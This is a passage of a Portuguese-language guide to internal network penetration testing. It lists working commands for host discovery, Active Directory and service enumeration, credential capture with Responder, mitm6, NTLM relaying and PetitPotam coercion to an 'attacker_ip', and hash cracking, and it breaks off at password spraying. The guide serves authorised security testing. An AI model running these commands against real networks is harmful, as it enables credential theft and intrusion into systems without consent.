Realizando Teste de Penetração de Rede Interna

Visão Geral

Um teste de penetração de rede interna simula um atacante que já obteve acesso à rede interna ou um insider malicioso. O testador opera a partir de uma posição de "brecha assumida" — tipicamente uma estação de trabalho de domínio padrão ou um ponto de rede — e tenta movimento lateral, escalonamento de privilégios, coleta de credenciais e exfiltração de dados para determinar o raio de impacto de um endpoint comprometido.

Quando Usar

• Ao realizar avaliações de segurança que envolvem testes de penetração de rede interna.
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
• Ao realizar atividades agendadas de testes de segurança ou auditoria.
• Ao validar controles de segurança através de testes práticos.

Pré-requisitos

• Regras de Engajamento assinadas com escopo de rede interna.
• Acesso à rede: conexão física Ethernet ou conexão VPN para VLAN interna.
• Credenciais de usuário de domínio padrão (modelo de brecha assumida) ou acesso não autenticado.
• Laptop de teste com Kali Linux, Impacket, Responder, BloodHound.
• Coordenação com TI/SOC para monitoramento e contatos de emergência.

Aviso Legal: Esta habilidade é apenas para fins de testes de segurança autorizados e educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fase 1 — Descoberta e Enumeração de Rede

Reconhecimento Inicial da Rede

# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf

# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0

# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap

# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan

# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

Enumeração do Active Directory

# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups

# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa

# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis

# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

Enumeração de Serviços de Rede

# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R

# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1

# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5

# NFS enumeration
showmount -e 10.0.0.15

# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth

Fase 2 — Ataques de Credenciais

Captura de Credenciais de Rede

# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt

# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local

# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks

# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5

Ataques de Senha

# Quebrar hashes NTLMv2 capturados
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Password spraying (cuidado com políticas de bloqueio de conta)

…